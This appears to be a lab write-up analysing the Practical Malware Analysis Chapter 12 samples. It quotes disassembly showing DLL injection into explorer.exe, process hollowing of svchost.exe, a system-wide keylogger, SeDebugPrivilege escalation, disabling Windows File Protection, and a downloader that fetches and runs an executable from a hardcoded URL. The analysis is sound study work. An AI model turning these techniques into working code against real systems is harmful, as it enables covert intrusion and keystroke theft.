A first static inspection of Lab12-01.exe reveals several suspicious imports commonly associated with process injection. In particular, the presence of OpenProcess, VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread strongly indicates a classic DLL injection technique. The fact that the executable is bundled with Lab12-01.dll further supports the idea that the EXE acts mainly as a loader whose purpose is to inject the DLL into another process.
The strings output from the EXE add more behavioral context. The presence of “explorer.exe”, along with function names from psapi.dll such as EnumProcesses, EnumProcessModules, and GetModuleBaseNameA, suggests that the malware enumerates running processes to locate a specific target, most likely Explorer.exe, before performing the injection. This indicates the malware is not blindly injecting but instead searching for a suitable victim process. Targeting Explorer is common because it is always running and trusted by the system, allowing malicious code to blend in and persist in memory without immediately raising suspicion.
Looking at Lab12-01.dll, the imports show a different role. The DLL makes heavy use of CreateThread and Sleep, implying that once injected, it spawns worker threads and runs persistently rather than exiting immediately. The presence of file-related APIs such as WriteFile, SetFilePointer, and FlushFileBuffers indicates the injected code has the capability to write data to disk, potentially for logging, configuration storage, or dropping additional components.
The import of MessageBoxA from USER32.dll in the DLL points to some visible user interaction or debugging artifact.

Upon running the malware, a message box titled “Practical Malware Analysis 0” with the text “Press OK to reboot” appears. Pressing OK does not restart the OS. Instead, the window keeps reappearing every short period after being closed, displaying the same prompt, while the number in the title bar keeps incrementing each time.

In Process Explorer, the lab executable itself does not appear to be running anymore, but our suspicions from the static analysis pointed toward a DLL injection into explorer.exe. By checking the loaded DLLs for this process, we can observe the DLL that was bundled with the malware being loaded inside Explorer.
Restarting explorer.exe effectively stops the pop-ups, which indicates that no persistence mechanism is being applied or abused beyond the lifetime of the injected process.
Loading the malware into IDA gives us precise details on how the process injection is performed. First, GetProcAddress together with LoadLibraryA is used to dynamically load several functions from psapi.dll, mainly process enumeration and inspection APIs. The resolved addresses are then saved into global variables.
push offset ProcName ; "EnumProcessModules"
push offset LibFileName ; "psapi.dll"
call ds:LoadLibraryA
push eax ; hModule
call ds:GetProcAddress
mov EnumProcessModules, eax
push offset aGetmodulebasen ; "GetModuleBaseNameA"
push offset LibFileName ; "psapi.dll"
call ds:LoadLibraryA
push eax ; hModule
call ds:GetProcAddress
mov GetModuleBaseNameA, eax
push offset aEnumprocesses ; "EnumProcesses"
push offset LibFileName ; "psapi.dll"
call ds:LoadLibraryA
push eax ; hModule
call ds:GetProcAddress
mov EnumProcesses, eax
Next, the DLL name along with its full path is written into a local buffer. The main loop then enumerates all running processes and, for each one, its handle is passed to a subroutine that checks whether the process name is “explorer.exe”, returning 1 if it matches. This is achieved using EnumProcessModules (only the first module is needed since it represents the main executable) and GetModuleBaseNameA to retrieve the process name as a string.
If the target process is found, its handle is saved into a local buffer. The loop does not stop immediately and continues until all processes have been analyzed.
mov eax, [ebp+ind]
mov ecx, [ebp+eax*4+dwProcessId]
push ecx ; dwProcessId
push 0 ; bInheritHandle
push 43Ah ; dwDesiredAccess
call ds:OpenProcess
mov [ebp+hProcess], eax
cmp [ebp+hProcess], 0FFFFFFFFh
The main malicious logic takes place after the enumeration loop completes. First, the full DLL path is written into the memory of the found process using VirtualAllocEx and WriteProcessMemory. Then, the address of LoadLibraryA is resolved and passed as a parameter to CreateRemoteThread, along with the address of the DLL path in the remote process and the process handle itself. This effectively forces explorer.exe to load the malicious DLL into its own address space.
push 0
push 104h ; nSize
lea eax, [ebp+DLLPATH]
push eax ; lpBuffer
mov ecx, [ebp+lpBaseAddress]
push ecx ; lpBaseAddress
mov edx, [ebp+hProcess]
push edx ; hProcess
call ds:WriteProcessMemory
push offset ModuleName ; "kernel32.dll"
call ds:GetModuleHandleA
mov [ebp+hModule], eax
push offset aLoadlibrarya ; "LoadLibraryA"
mov eax, [ebp+hModule]
push eax ; hModule
call ds:GetProcAddress
mov [ebp+lpStartAddress], eax
push 0 ; lpThreadId
push 0 ; dwCreationFlags
mov ecx, [ebp+lpBaseAddress]
push ecx ; lpParameter
mov edx, [ebp+lpStartAddress]
push edx ; lpStartAddress
push 0 ; dwStackSize
push 0 ; lpThreadAttributes
mov eax, [ebp+hProcess]
push eax ; hProcess
call ds:CreateRemoteThread
Once injected, the DLL’s DllMain creates a new thread and then returns, meaning the real payload executes inside the thread routine. That routine enters an infinite loop where it repeatedly creates another thread, sleeps for one minute, and repeats. The function passed to the thread is responsible for displaying the message box observed during dynamic analysis, which explains the recurring pop-ups with an incrementing counter.
push ecx
mov eax, [ebp+lpThreadParameter]
mov [ebp+lpCaption], eax
push 40040h ; uType
mov ecx, [ebp+lpCaption]
push ecx ; lpCaption
push offset Text ; "Press OK to reboot"
push 0 ; hWnd
call ds:MessageBoxA
Beginning with static analysis, the import table strongly suggests a Windows process-injection–style malware: APIs like OpenProcess, VirtualAllocEx, WriteProcessMemory… are a classic chain for injecting code into another process.
Strings in this case are not very helpful, as they mostly display a huge number of consecutive ‘A’ characters, suggesting some form of encryption or obfuscation.
Running the malware initially results in nothing visible, both visually and in Process Explorer. No new registry entries are created either, which at first makes the sample look inactive.
Procmon, however, tells a different story. The most suspicious event observed is the loading and mapping of svchost.exe into memory, pointing toward a potential file modification or shell injection technique.
Loading the executable into IDA shows the full story. First, the full path of svchost.exe is computed by a subroutine and stored in a local buffer. Next, another subroutine is called. This one starts by loading a resource named LOCALIZATION from the same executable. Static inspection of this resource’s strings shows only ‘A’ characters, meaning it is obfuscated.
Once copied into a local buffer, this resource is passed to a function along with ‘A’ as a parameter. This turns out to be the decryption routine for the resource.
The routine is a very simple XOR decryption loop. It walks through the buffer byte by byte and XORs each byte with a single key value (the character ‘A’).
In higher‑level form, it behaves like:
for (int i = 0; i < length; i++) {
buffer[i] ^= key;
}
In a debugger, right after decryption, we can observe that this resource is transformed into a valid executable.

To further analyze it, I dumped the resource using manalyze and wrote a small Python script to decrypt it for offline analysis.
KEY = 0x41
with open("encrypted.bin", "rb") as f:
data = bytearray(f.read())
for i in range(len(data)):
data[i] ^= KEY
with open("decrypted.bin", "wb") as f:
f.write(data)
After decryption, the resulting executable image is passed to another subroutine inside main, along with the path to svchost.exe. The first step is validating that the buffer represents a valid PE file by checking for the MZ signature at the start of the DOS header.
mov eax, [ebp+payload]
mov [ebp+paycopy], eax
mov ecx, [ebp+paycopy]
xor edx, edx
mov dx, [ecx]
cmp edx, 'ZM' // little‑endian for "MZ"
jnz loc_40131F
This confirms that the decrypted buffer begins with a valid DOS header. If the signature does not match, execution jumps to an error path and aborts further processing.
Next, the loader locates the IMAGE_NT_HEADERS structure. Because the executable is already resident in memory, the offset at e_lfanew (0x3C) is used to locate the PE header. The pointer is saved locally and validated against the PE signature.
mov eax, [ebp+paycopy]
mov ecx, [ebp+payload]
add ecx, [eax+3Ch]
mov [ebp+IMAGE_NT_HEADERS], ecx
mov edx, [ebp+IMAGE_NT_HEADERS]
cmp dword ptr [edx], 'EP'
After validation, svchost.exe is launched with a creation flag value of 4, which corresponds to IDLE_PRIORITY_CLASS. More importantly, the process is created in a suspended state earlier in the routine, allowing the loader to manipulate its memory before any code executes.
Once the process exists, the malicious loader prepares a CONTEXT structure. Memory is allocated for it, the ContextFlags field is initialized, and GetThreadContext is used to populate it with the suspended thread’s register state.
On 32‑bit Windows, the EBX register in the initial thread context points to the Process Environment Block (PEB). Inside the PEB, the field at offset +8 contains the ImageBaseAddress. The code uses this to discover where the original image of svchost.exe is mapped.
push 0 ; lpNumberOfBytesRead
push 4 ; nSize
lea edx, [ebp+imagebase]
push edx ; lpBuffer
mov eax, [ebp+lpContext]
mov ecx, [eax+CONTEXT.Ebx]
add ecx, 8
push ecx ; lpBaseAddress
mov edx, [ebp+ProcessInformation.hProcess]
push edx ; hProcess
call ds:ReadProcessMemory
Here, ReadProcessMemory reads the remote process’s PEB.ImageBaseAddress into a local variable. This value represents the current base address of the legitimate image that will soon be replaced.
Next, the address of NtUnmapViewOfSection is dynamically resolved from ntdll.dll and stored locally. This API is then invoked with the target process handle and the retrieved image base. The effect is to unmap the original executable image from the suspended process. After unmapping, VirtualAllocEx is called to reserve and commit memory inside the remote process for the malicious payload at its preferred base address.
Once memory is allocated, the loader begins copying the payload into the remote process. First, the PE headers are written using the size information from the OptionalHeader. Then, the code enters a loop over the PE sections. The number of sections is read from IMAGE_FILE_HEADER.NumberOfSections.
mov ecx, [ebp+IMAGE_NT_HEADERS]
xor edx, edx
mov dx, [ecx+IMAGE_NT_HEADERS.FileHeader.NumberOfSections]
cmp [ebp+index], edx
jge short loc_4012B9
Inside the loop, the code calculates the address of each IMAGE_SECTION_HEADER. Each entry is 40 bytes long, so the loop index is multiplied by 40 and added to the base of the section table. The offset 0xF8 skips past the NT and Optional headers to reach the first section header.
mov eax, [ebp+paycopy]
mov ecx, [ebp+payload]
add ecx, [eax+3Ch]
mov edx, [ebp+index]
imul edx, 40
lea eax, [ecx+edx+0F8h]
mov [ebp+imagesectheader], eax
At this point, imagesectheader points to the current section descriptor. From this structure, the loader extracts SizeOfRawData, PointerToRawData and VirtualAddress.
These values are used to copy each section from the local payload into the remote process at the correct location.
push 0
mov ecx, [ebp+imagesectheader]
mov edx, [ecx+IMAGE_SECTION_HEADER.SizeOfRawData]
push edx
mov eax, [ebp+imagesectheader]
mov ecx, [ebp+payload]
add ecx, [eax+IMAGE_SECTION_HEADER.PointerToRawData]
push ecx
mov edx, [ebp+imagesectheader]
mov eax, [ebp+lpBaseAddress]
add eax, [edx+IMAGE_SECTION_HEADER.VirtualAddress]
push eax
mov ecx, [ebp+ProcessInformation.hProcess]
push ecx
call ds:WriteProcessMemory
After all sections are copied, the loader fixes critical startup data. It retrieves the ImageBase from the payload’s OptionalHeader and writes it into the remote process’s PEB. This updates the process’s internal bookkeeping to reflect the newly mapped image.
push 0
push 4
mov edx, [ebp+IMAGE_NT_HEADERS]
add edx, IMAGE_NT_HEADERS.OptionalHeader.ImageBase
push edx
mov eax, [ebp+lpContext]
mov ecx, [eax+CONTEXT.Ebx]
add ecx, 8
push ecx
mov edx, [ebp+ProcessInformation.hProcess]
push edx
call ds:WriteProcessMemory
Next, the loader computes the real entry point by adding AddressOfEntryPoint to the newly allocated base address. This address is written into the thread’s context so execution begins at the payload’s entry point.
mov eax, [ebp+IMAGE_NT_HEADERS]
mov ecx, [ebp+lpBaseAddress]
add ecx, [eax+IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint]
mov edx, [ebp+lpContext]
mov [edx+CONTEXT.Eax], ecx
The modified context is applied using SetThreadContext, and finally the suspended thread is resumed. At this point, the process begins execution inside the injected image instead of the original svchost.exe, completing the hollowing sequence.
Next let’s take a look at the extracted and decrypted exe.
Static analysis of Lab12-03.exe shows heavy use of USER32 and KERNEL32 APIs related to window interaction, hooks, memory management, and file operations. Notably, functions such as SetWindowsHookExA, CallNextHookEx, UnhookWindowsHookEx… indicate the program monitors user activity by intercepting window messages. Combined with FindWindowA, ShowWindow, and GetMessageA, the binary appears designed to observe or manipulate GUI events.
The strings output reinforces this behavior, showing references to key presses such as [SHIFT], [ENTER]… These artifacts strongly suggest the executable functions as a keylogger that records keystrokes and the active window title, then stores the information locally.
Checking the victim machine confirms this behavior: the file practicalmalwareanalysis.log appears in the same directory as the malware, containing captured keystrokes along with the application context in which they were typed.

On IDA, the main function of the program is quite simple. First, using FindWindowA, it gets its own process “ConsoleWindowClass”. Then, using ShowWindow with nCmdShow=0, it hides it, achieving stealth.
push 0 ; lpWindowName
push offset ClassName ; "ConsoleWindowClass"
call ds:FindWindowA
push eax ; hWnd
call ds:ShowWindow
Next, a hok is set up idHook = 0x0D which corresponds to WH_KEYBOARD_L (low‑level keyboard hook) and the function fn is set as callback function. dwThreadId = 0 effectively applies the hook system‑wide.
The program enters an infinte loop then to keep the process alive so the hook keeps receiving events
push 0
push 0 ; wMsgFilterMin
push 0 ; hWnd
push 0 ; lpMsg
call ds:GetMessageA
The main logic is inside the fn subroutine. This function is the callback installed earlier with SetWindowsHookExA using WH_KEYBOARD_LL. Windows calls it every time a keyboard event occurs. Its job is to inspect the event, optionally process it, and then pass it along so normal input behavior continues.
cmp [ebp+code], 0
jnz loc_4010AF
The first check validates the hook call. If code is not HC_ACTION (0), the function skips custom handling and immediately forwards the event. This ensures the hook only processes real keyboard messages.
Next, the function filters for key‑down events only. It checks the message type in wParam and ignores key‑up messages.
cmp [ebp+wParam], 104h ; WM_SYSKEYDOWN
jz loc_4010A1
cmp [ebp+wParam], 100h ; WM_KEYDOWN
jnz loc_4010AF
When a valid key press is detected, the code extracts the virtual‑key code from the KBDLLHOOKSTRUCT pointed to by lParam and sends it to another routine.
mov eax, [ebp+lParam]
mov ecx, [eax] ; vkCode
push ecx
call sub_4010C7
Finally, the function forwards the event to the next hook in the chain so normal keyboard behavior continues using CallNextHookEx.
This sub_4010C7 is the core keylogger routine. Its main job is to capture the key pressed and write it to a log file named “practicalmalwareanalysis.log”. After successfully opening the file, the file pointer is moved to the end of the file with SetFilePointer, so new keystrokes are appended rather than overwriting old logs.
push 2 ; FILE_END
push 0 ; lpDistanceToMoveHigh
push 0 ; lDistanceToMove
mov eax, [ebp+hFile]
push eax
call ds:SetFilePointer
Next, the function checks the foreground window title. If it’s different from a previously stored title, it writes the new window context to the log, so the keylogger tracks which application the user is typing in.
call ds:GetForegroundWindow
call ds:GetWindowTextA
call _strcmp
jz short loc_4011AB
push 0
lea ecx, [ebp+NumberOfBytesWritten]
push ecx
push 0Ch
push offset aWindow ; "\r\n[Window: "
mov edx, [ebp+hFile]
push edx
call ds:WriteFile
The main logic is then a range check and switch-like table to map the virtual-key code (Buffer) into either printable characters or descriptive strings for special keys. For example, it logs [ENTER], [SHIFT], numbers, letters, and other symbols.
To conclude, Lab 12‑2 demonstrates a stealthy process‑hollowing loader that decrypts an embedded payload, launches svchost.exe suspended, unmaps its legitimate image, injects the malicious PE, fixes the PEB and thread context, and resumes execution so the trusted process runs attacker code. This decrypted exe then implements a user‑mode keylogger that hides its window, installs a system‑wide WH_KEYBOARD_LL hook, captures key‑down events, records active window titles, and logs keystrokes to a local file. Together, these two illustrate two common malware goals: covert execution via injection and covert data collection via keyboard surveillance.
The import table includes process and injection‑related APIs such as OpenProcess and CreateRemoteThread which are commonly used for code injection into other processes. It also uses privilege‑escalation functions from ADVAPI32.dll like OpenProcessToken and LookupPrivilegeValueA with the string SeDebugPrivilege, indicating it attempts to gain higher privileges.
The extracted strings further clarify its intent. The presence of EnumProcesses… from psapi.dll implies it enumerates running processes, potentially to find a target like winlogon.exe. Strings such as \system32\wupdmgr.exe, \winup.exe, and a hardcoded URL (http://www.practicalmalwareanalysis.com/updater.exe) along with URLDownloadToFileA indicate it downloads and installs another executable while masquerading as a Windows update component.
Moving on to the dynamic analysis, and using apatedns, we find that the malware attempts to download updater.exe from www.practicalmalwareanalysis.com.
On ProcMon, one interesting discovery is a WriteFile operation on wupdmgr.exe with 16 384 length. Since this size doesnt match the original exe, and the program didnt have internet access, we can assume that this data is hidden in the malware. And indeed, using manalyze, we locate one resource with the same size.
On IDA, the main function of this malware starts by loading multiple function addresses and saving them to global buffers. EnumProcesses, GetModuleBaseNameA and GetModuleBaseNameA. Next, the processes are loaded to a buffer, and their number are calculated to enter a loop.
mov edx, [ebp+bytesreturned]
shr edx, 2
mov [ebp+numberofprocesses], edx
mov [ebp+ind], 0
Next for each process, sub_401000 is called. First, the string “winlogon.exe” is dynamically retrieved from memory and loaded in a local buffer as well as a default string “<not real>”. Then, using EnumProcessModules with size 4 (only getting the first one which is the main exe) then GetModuleBaseNameA, the process name is retrieved and compared against winlogon.exe. 1 is returned if it’s a match. Back to the main loop, if the match is made, the target process is saved and pushed as a parameter for sub_401174. First, another subroutine is called, with “SeDebugPrivilege” string as a param.
This routine, is responsible for enabling a Windows privilege for the current process.
First, the function opens the access token of the current process using OpenProcessToken. The desired access value 0x28 corresponds to TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, which are required to modify privileges.
lea eax, [ebp+TokenHandle]
push eax ; TokenHandle
push 28h ; DesiredAccess
call ds:GetCurrentProcess
push eax ; ProcessHandle
call ds:OpenProcessToken
Next, the code prepares a TOKEN_PRIVILEGES structure. It sets PrivilegeCount = 1 and Attributes = 2, where 2 means SE_PRIVILEGE_ENABLED. Then it resolves the privilege name (which is here “SeDebugPrivilege”) into a LUID using LookupPrivilegeValueA.
mov [ebp+NewState.PrivilegeCount], 1
mov [ebp+NewState.Privileges.Attributes], 2
lea ecx, [ebp+NewState.Privileges]
push ecx
mov edx, [ebp+lpName]
push edx ; "SeDebugPrivilege"
push 0
call ds:LookupPrivilegeValueA
Finally, the function enables the privilege by calling AdjustTokenPrivileges, passing the prepared structure. This actually updates the process token so the privilege becomes active.
lea ecx, [ebp+NewState]
push ecx ; NewState
push 0
mov edx, [ebp+TokenHandle]
push edx ; TokenHandle
call ds:AdjustTokenPrivileges
After this call, the process has elevated rights and can access protected processes. Once adjusted, the code loads a DLL and resolves a function pointer from it. Here it loads sfc_os.dll and retrieves an exported function (passed as ordinal 2). The result becomes the remote thread’s start address.
push 2
push offset LibFileName ; "sfc_os.dll"
call ds:LoadLibraryA
push eax
call ds:GetProcAddress
mov lpStartAddress, eax
A quick google search shows us that ordinal 2 corresponds to SfcTerminateWatcherThread. This API accepts no parameters and stops Windows File Protection monitoring.
Then the malware opens the target process using the supplied dwProcessId with full access rights (0x1F0FFF).
mov eax, [ebp+dwProcessId]
push eax
push 0
push 1F0FFFh
call ds:OpenProcess
mov [ebp+hProcess], eax
Finally, the code creates a thread inside the remote process using the previously resolved function address. No parameters are passed, and the thread runs immediately.
mov ecx, lpStartAddress
push ecx ; lpStartAddress
mov edx, [ebp+hProcess]
push edx ; hProcess
call ds:CreateRemoteThread
Until this point, all of the functions and procedures were done to weaken system protection and set the stage for the main malicious code.
Back to the main function, wupdmgr.exe path is saved to a local buffer. then the file is moved from its original location to another directory under a different name.
Next, another function is called. First, it gets the Windows directory and builds a full path to: C:\Windows\System32\wupdmgr.exe
call ds:GetWindowsDirectoryA
push offset aSystem32Wupdmg ; "\\system32\\wupdmgr.exe"
push offset Format ; "%s%s"
call ds:_snprintf
This prepares the target filename where malware will drop data. The malware then loads a resource embedded inside itself: Type “BIN”, Name “#101”, creates wupdmgr.exe and writes the resource bytes into it.
push offset Type ; "BIN"
push offset Name ; "#101"
call ds:FindResourceA
call ds:LoadResource
call ds:SizeofResource
Finally, it launches the file it just created.
Under normal circumstances, its attempt to create a new handler would fail because Windows File Protection would detect a change in the file and overwrite the newly created one, but because the malware disabled this functionality, it can overwrite normally protected Windows binaries.
Now on to the extracted malware. First, it builds a path to the temporary directory and appends \winup.exe. It immediately executes it with WinExec so that if the user were to perform a Windows Update, everything would appear to operate normally; the original Windows Update file would run.
call GetTempPathA
_snprintf "%s%s" -> "\\winup.exe"
call WinExec
Next, it builds a path inside the Windows directory: %WINDIR%\system32\wupdmgrd.exe.
call GetWindowsDirectoryA
_snprintf "%s%s" -> "\\system32\\wupdmgrd.exe"
This is a masqueraded filename meant to look like a legitimate Windows Update binary. Then the malware downloads a file from the internet and saves it to that path using URLDownloadToFileA. If the download succeeds, it immediately executes the downloaded file.
To conclude, Lab 12‑4 implements a complete infection pipeline. The malware first enumerates running processes to locate a high‑value target such as winlogon.exe, then enables SeDebugPrivilege to gain elevated access to protected processes. With these rights, it injects a remote thread into the target using a function from sfc_os.dll (ordinal 2 → SfcTerminateWatcherThread) to disable Windows File Protection, weakening system defenses.
With protection removed, it drops an embedded payload resource as %WINDIR%\system32\wupdmgr.exe, overwriting a normally protected file, and executes it. The dropped stage then runs a decoy winup.exe from %TEMP% for stealth, downloads an additional payload from the internet using URLDownloadToFileA, saves it disguised as a Windows Update component, and executes it.